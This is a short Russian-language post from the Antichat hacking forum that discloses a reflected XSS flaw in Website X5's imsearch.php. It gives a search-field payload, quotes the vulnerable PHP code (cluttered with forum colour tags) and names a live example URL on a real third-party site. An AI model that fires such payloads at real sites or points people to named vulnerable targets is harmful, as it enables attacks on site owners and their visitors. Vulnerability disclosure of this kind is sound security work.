Форум АНТИЧАТ - Уязвимости в Website x5

XSS:

В поле поиска на сайте вбейте ">alert(111)

Уязвимый кусок кода imsearch.php:

PHP код:


		
			
PHP:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]if ([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'search'[/COLOR][COLOR="#007700"]] !=[/COLOR][COLOR="#DD0000"]""[/COLOR][COLOR="#007700"]) {

[/COLOR][COLOR="#0000BB"]$search[/COLOR][COLOR="#007700"]= new[/COLOR][COLOR="#0000BB"]imSearch[/COLOR][COLOR="#007700"]();

[/COLOR][COLOR="#0000BB"]$search[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]search[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$_POST[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'search'[/COLOR][COLOR="#007700"]]);

}[/COLOR][/COLOR]

Пример:

Цитата:

Сообщение от None

http://islam44.com/imsearch.php?search=">alert(111)